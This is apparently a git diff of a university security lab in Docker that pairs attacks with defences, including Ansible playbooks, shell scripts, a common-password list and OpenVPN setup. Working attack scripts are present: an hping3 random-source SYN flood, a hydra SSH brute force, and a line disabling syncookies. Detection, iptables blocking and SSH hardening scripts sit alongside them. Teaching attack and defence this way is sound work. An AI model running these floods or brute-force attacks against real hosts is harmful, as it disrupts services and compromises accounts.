||||
|
- name: Install openvpn on all hosts |
||||
|
hosts: all_hosts |
||||
|
become: true |
||||
|
become_user: root |
||||
|
|
||||
|
tasks: |
||||
|
- name: Installing openvpn |
||||
|
apt: |
||||
|
name: openvpn |
||||
|
state: present |
||||
@ -0,0 +1,9 @@ |
|||||
|
--- |
||||
|
- name: Start DDoS |
||||
|
hosts: workers |
||||
|
become: true |
||||
|
become_user: root |
||||
|
|
||||
|
tasks: |
||||
|
- name: Starting DDoS Attack |
||||
|
command: sh /home/docker/start_ddos.sh |
||||
@ -0,0 +1,9 @@ |
|||||
|
--- |
||||
|
- name: Stop DDoS |
||||
|
hosts: workers |
||||
|
become: true |
||||
|
become_user: root |
||||
|
|
||||
|
tasks: |
||||
|
- name: Stopping DDoS Attack |
||||
|
command: /home/docker/stop_ddos.sh |
||||
@ -0,0 +1,27 @@ |
|||||
|
--- |
||||
|
- name: Transfer scripts to workers |
||||
|
hosts: workers |
||||
|
become: true |
||||
|
become_user: root |
||||
|
|
||||
|
tasks: |
||||
|
- name: Transferring script curl.sh |
||||
|
copy: src=/project/worker_scripts/curl.sh dest=/home/docker mode=0777 |
||||
|
|
||||
|
- name: Transferring script start_ddos.sh |
||||
|
copy: src=/project/worker_scripts/start_ddos.sh dest=/home/docker mode=0777 |
||||
|
|
||||
|
- name: Transferring script stop_ddos.sh |
||||
|
copy: src=/project/worker_scripts/stop_ddos.sh dest=/home/docker mode=0777 |
||||
|
|
||||
|
- name: Transferring script detect_ssh_brute_force.sh |
||||
|
copy: src=/project/worker_scripts/detect_ssh_brute_force.sh dest=/home/docker mode=0777 |
||||
|
|
||||
|
- name: Transferring script block_ssh_brute_force.sh |
||||
|
copy: src=/project/worker_scripts/block_ssh_brute_force.sh dest=/home/docker mode=0777 |
||||
|
|
||||
|
- name: Transferring script configure_ssh.sh |
||||
|
copy: src=/project/worker_scripts/configure_ssh.sh dest=/home/docker mode=0777 |
||||
|
|
||||
|
- name: Transferring script start_local_ssh_forwarding.sh |
||||
|
copy: src=/project/worker_scripts/start_local_ssh_forwarding.sh dest=/home/docker mode=0777 |
||||
@ -0,0 +1,8 @@ |
|||||
|
<!DOCTYPE html> |
||||
|
<html> |
||||
|
<body> |
||||
|
|
||||
|
<h1>*Beep boop* the server is up and running</h1> |
||||
|
|
||||
|
</body> |
||||
|
</html> |
||||
@ -0,0 +1,200 @@ |
|||||
|
123456 |
||||
|
password |
||||
|
12345678 |
||||
|
qwerty |
||||
|
123456789 |
||||
|
12345 |
||||
|
1234 |
||||
|
111111 |
||||
|
1234567 |
||||
|
dragon |
||||
|
123123 |
||||
|
baseball |
||||
|
abc123 |
||||
|
football |
||||
|
monkey |
||||
|
letmein |
||||
|
shadow |
||||
|
master |
||||
|
666666 |
||||
|
qwertyuiop |
||||
|
123321 |
||||
|
mustang |
||||
|
1234567890 |
||||
|
michael |
||||
|
654321 |
||||
|
superman |
||||
|
1qaz2wsx |
||||
|
7777777 |
||||
|
121212 |
||||
|
000000 |
||||
|
qazwsx |
||||
|
123qwe |
||||
|
trustno1 |
||||
|
jordan |
||||
|
jennifer |
||||
|
zxcvbnm |
||||
|
asdfgh |
||||
|
hunter |
||||
|
buster |
||||
|
soccer |
||||
|
harley |
||||
|
batman |
||||
|
andrew |
||||
|
tigger |
||||
|
sunshine |
||||
|
iloveyou |
||||
|
2000 |
||||
|
charlie |
||||
|
robert |
||||
|
thomas |
||||
|
hockey |
||||
|
ranger |
||||
|
daniel |
||||
|
starwars |
||||
|
klaster |
||||
|
112233 |
||||
|
george |
||||
|
computer |
||||
|
michelle |
||||
|
jessica |
||||
|
pepper |
||||
|
1111 |
||||
|
zxcvbn |
||||
|
555555 |
||||
|
11111111 |
||||
|
131313 |
||||
|
freedom |
||||
|
777777 |
||||
|
pass |
||||
|
maggie |
||||
|
159753 |
||||
|
aaaaaa |
||||
|
ginger |
||||
|
princess |
||||
|
joshua |
||||
|
cheese |
||||
|
amanda |
||||
|
summer |
||||
|
love |
||||
|
ashley |
||||
|
nicole |
||||
|
chelsea |
||||
|
biteme |
||||
|
matthew |
||||
|
access |
||||
|
yankees |
||||
|
987654321 |
||||
|
dallas |
||||
|
austin |
||||
|
thunder |
||||
|
taylor |
||||
|
matrix |
||||
|
william |
||||
|
corvette |
||||
|
hello |
||||
|
martin |
||||
|
heather |
||||
|
secret |
||||
|
merlin |
||||
|
diamond |
||||
|
1234qwer |
||||
|
gfhjkm |
||||
|
hammer |
||||
|
silver |
||||
|
222222 |
||||
|
88888888 |
||||
|
anthony |
||||
|
justin |
||||
|
test |
||||
|
bailey |
||||
|
q1w2e3r4t5 |
||||
|
patrick |
||||
|
internet |
||||
|
scooter |
||||
|
orange |
||||
|
11111 |
||||
|
golfer |
||||
|
cookie |
||||
|
richard |
||||
|
samantha |
||||
|
bigdog |
||||
|
guitar |
||||
|
jackson |
||||
|
whatever |
||||
|
mickey |
||||
|
chicken |
||||
|
sparky |
||||
|
snoopy |
||||
|
maverick |
||||
|
phoenix |
||||
|
camaro |
||||
|
peanut |
||||
|
morgan |
||||
|
welcome |
||||
|
falcon |
||||
|
cowboy |
||||
|
ferrari |
||||
|
samsung |
||||
|
andrea |
||||
|
smokey |
||||
|
steelers |
||||
|
joseph |
||||
|
mercedes |
||||
|
arsenal |
||||
|
eagles |
||||
|
melissa |
||||
|
boomer |
||||
|
spider |
||||
|
nascar |
||||
|
docker |
||||
|
monster |
||||
|
tigers |
||||
|
yellow |
||||
|
xxxxxx |
||||
|
123123123 |
||||
|
gateway |
||||
|
marina |
||||
|
diablo |
||||
|
bulldog |
||||
|
qwer1234 |
||||
|
compaq |
||||
|
purple |
||||
|
hardcore |
||||
|
banana |
||||
|
junior |
||||
|
hannah |
||||
|
123654 |
||||
|
porsche |
||||
|
lakers |
||||
|
iceman |
||||
|
money |
||||
|
987654 |
||||
|
london |
||||
|
tennis |
||||
|
999999 |
||||
|
ncc1701 |
||||
|
coffee |
||||
|
scooby |
||||
|
0000 |
||||
|
miller |
||||
|
boston |
||||
|
q1w2e3r4 |
||||
|
brandon |
||||
|
yamaha |
||||
|
chester |
||||
|
mother |
||||
|
forever |
||||
|
johnny |
||||
|
blake |
||||
|
19891989 |
||||
|
writer |
||||
|
usa123 |
||||
|
topdog |
||||
|
speaker |
||||
|
rosemary |
||||
|
pancho |
||||
|
night |
||||
|
melody |
||||
|
lightnin |
||||
|
life |
||||
@ -0,0 +1,21 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
# must run with sudo!!! |
||||
|
sysctl -w net.ipv4.tcp_syncookies=0 |
||||
|
|
||||
|
apt-get update |
||||
|
apt-get install ansible -y |
||||
|
apt-get install sshpass -y |
||||
|
sed '/\[defaults\]/a host_key_checking = False' /etc/ansible/ansible.cfg > temp && cat temp > /etc/ansible/ansible.cfg |
||||
|
rm temp |
||||
|
|
||||
|
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) |
||||
|
network="$network.*" |
||||
|
echo "[workers]" > inventory |
||||
|
nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 >> inventory |
||||
|
|
||||
|
master=$(ifconfig | grep 255.255.0.0 | awk '{print $2}') |
||||
|
echo -e "\n[all_hosts]" >> inventory |
||||
|
echo $master >> inventory |
||||
|
nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 >> inventory |
||||
|
|
||||
@ -0,0 +1,6 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) |
||||
|
network="$network.*" |
||||
|
target=$(nmap -sP $network | grep worker_1 | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2) |
||||
|
hydra -l docker -P password_list.txt $target ssh |
||||
@ -0,0 +1,6 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) |
||||
|
network="$network.*" |
||||
|
target=$(nmap -sP $network | grep worker_1 | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2) |
||||
|
ssh -fNT -R 8080:localhost:8000 docker@$target |
||||
@ -0,0 +1,4 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
cd myserver |
||||
|
python -m SimpleHTTPServer 8000 & |
||||
@ -0,0 +1,4 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
proc_id=$(ps -ef | grep "python -m SimpleHTTPServer 8000" | head -1 | awk '{print $2}') |
||||
|
kill $proc_id |
||||
@ -0,0 +1,11 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) |
||||
|
network="$network.*" |
||||
|
|
||||
|
cp /project/vpn_files/master.ovpn /home/docker/myvpn.ovpn |
||||
|
for host in worker_1 worker_2 worker_3 worker_4 |
||||
|
do |
||||
|
ip=$(nmap -sP $network | grep $host | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2) |
||||
|
scp /project/vpn_files/$host.ovpn docker@$ip:/home/docker/myvpn.ovpn |
||||
|
done |
||||
@ -0,0 +1,16 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
# must run with sudo!!! |
||||
|
|
||||
|
while [ 1 ] |
||||
|
do |
||||
|
count=$(netstat -tn | awk '{print $4}' | grep :22 | wc -l) |
||||
|
if [ $count -gt 10 ] |
||||
|
then |
||||
|
attacker=$(netstat -tn | awk '{print $5}' | grep -v :22 | cut -d ':' -f1 | tail -1) |
||||
|
iptables -I INPUT -p tcp --dport 22 -s $attacker -m state --state NEW -j DROP |
||||
|
sleep 90 |
||||
|
iptables -D INPUT -p tcp --dport 22 -s $attacker -m state --state NEW -j DROP |
||||
|
fi |
||||
|
sleep 1 |
||||
|
done |
||||
@ -0,0 +1,7 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
# must run with sudo!!! |
||||
|
|
||||
|
echo "PasswordAuthentication no" >> /etc/ssh/sshd_config |
||||
|
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config |
||||
|
service ssh restart |
||||
@ -0,0 +1,3 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
nohup openvpn --config /home/docker/myvpn.ovpn & |
||||
@ -0,0 +1,6 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) |
||||
|
network="$network.*" |
||||
|
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2) |
||||
|
curl http://$target:8000 |
||||
@ -0,0 +1,19 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
echo "Starting scan for SSH Brute Force Attacks" |
||||
|
while [ 1 ] |
||||
|
do |
||||
|
count=$(netstat -tn | awk '{print $4}' | grep :22 | wc -l) |
||||
|
if [ $count -gt 20 ] |
||||
|
then |
||||
|
attacker=$(netstat -tn | awk '{print $5}' | grep -v :22 | cut -d ':' -f1 | tail -1) |
||||
|
echo "SSH Bruce Force Attack detected!!!" |
||||
|
echo "$attacker made $count SSH connections at the same time" |
||||
|
|
||||
|
echo -e |
||||
|
echo "Data collected:" |
||||
|
netstat -tn |
||||
|
break |
||||
|
fi |
||||
|
sleep 1 |
||||
|
done |
||||
@ -0,0 +1,6 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) |
||||
|
network="$network.*" |
||||
|
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2) |
||||
|
nohup hping3 -S -p 8000 --rand-source --fast $target & |
||||
@ -0,0 +1,6 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) |
||||
|
network="$network.*" |
||||
|
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2) |
||||
|
ssh -fNT -L 8080:$target:8000 docker@$target |
||||
@ -0,0 +1,4 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
proc_id=$(ps -ef | grep "hping3 -S -p 8000 --rand-source --fast" | head -1 | awk '{print $2}') |
||||
|
kill $proc_id |
||||
@ -0,0 +1,10 @@ |
|||||
|
client |
||||
|
nobind |
||||
|
dev tun |
||||
|
comp-lzo |
||||
|
resolv-retry infinite |
||||
|
keepalive 15 60 |
||||
|
|
||||
|
remote-cert-tls server |
||||
|
remote 192.168.1.169 1194 udp |
||||
|
float |
||||
@ -0,0 +1,62 @@ |
|||||
|
#!/bin/bash |
||||
|
IP=127.0.0.1 # Server IP |
||||
|
P=1194 # Server Port |
||||
|
OVPN_SERVER='10.80.0.0/16' # VPN Network |
||||
|
|
||||
|
#vpn_data=/var/lib/swarmlab/openvpn/openvpn-services/ # Dir to save data ** this must exist ** |
||||
|
vpn_data=$PWD/openvpn-services/ |
||||
|
if [ ! -d $vpn_data ]; then |
||||
|
mkdir -p $vpn_data |
||||
|
fi |
||||
|
|
||||
|
NAME=swarmlab-vpn-services # name of docker service |
||||
|
DOCKERnetwork=swarmlab-vpn-services-network # docker network |
||||
|
docker=registry.vlabs.uniwa.gr:5080/myownvpn # docker image |
||||
|
|
||||
|
docker stop $NAME #stop container |
||||
|
sleep 1 |
||||
|
docker container rm $NAME #rm container |
||||
|
|
||||
|
# rm config files |
||||
|
rm -f $vpn_data/openvpn.conf.*.bak |
||||
|
rm -f $vpn_data/openvpn.conf |
||||
|
rm -f $vpn_data/ovpn_env.sh.*.bak |
||||
|
rm -f $vpn_data/ovpn_env.sh |
||||
|
|
||||
|
# create network |
||||
|
sleep 1 |
||||
|
docker network create --attachable=true --driver=bridge --subnet=172.50.0.0/16 --gateway=172.50.0.1 $DOCKERnetwork |
||||
|
|
||||
|
#run container see ovpn_genconfig |
||||
|
docker run --net=none -it -v $vpn_data:/etc/openvpn -p 1194:1194 --rm $docker ovpn_genconfig -u udp://$IP:1194 \ |
||||
|
-N -d -c -p "route 172.50.20.0 255.255.255.0" -e "topology subnet" -s $OVPN_SERVER |
||||
|
|
||||
|
# create pki see ovpn_initpki |
||||
|
docker run --net=none -v $vpn_data:/etc/openvpn --rm -it $docker ovpn_initpki |
||||
|
|
||||
|
# see ovpn_copy_server_files |
||||
|
#docker run --net=none -v $vpn_data:/etc/openvpn --rm $docker ovpn_copy_server_files |
||||
|
|
||||
|
#create vpn see --cap-add=NET_ADMIN |
||||
|
sleep 1 |
||||
|
docker run --detach --name $NAME -v $vpn_data:/etc/openvpn --net=$DOCKERnetwork --ip=172.50.0.2 -p $P:1194/udp --cap-add=NET_ADMIN $docker |
||||
|
|
||||
|
sudo sysctl -w net.ipv4.ip_forward=1 |
||||
|
|
||||
|
#show created |
||||
|
docker ps |
||||
|
|
||||
|
echo -e "\nEnter the full path of the directory you want to copy the .ovpn files to: " |
||||
|
read path |
||||
|
for USERNAME in master worker_1 worker_2 worker_3 worker_4 |
||||
|
do |
||||
|
|
||||
|
docker run -v $vpn_data:/etc/openvpn --rm -it $docker easyrsa build-client-full $USERNAME nopass |
||||
|
docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm $docker ovpn_getclient $USERNAME > $USERNAME.ovpn |
||||
|
|
||||
|
tail -n +8 $USERNAME.ovpn > temp && cat temp > $USERNAME.ovpn |
||||
|
cat $USERNAME.ovpn > temp && cat extra_lines > $USERNAME.ovpn && cat temp >> $USERNAME.ovpn |
||||
|
|
||||
|
mv $USERNAME.ovpn $path |
||||
|
|
||||
|
done |
||||
Loading…
Reference in new issue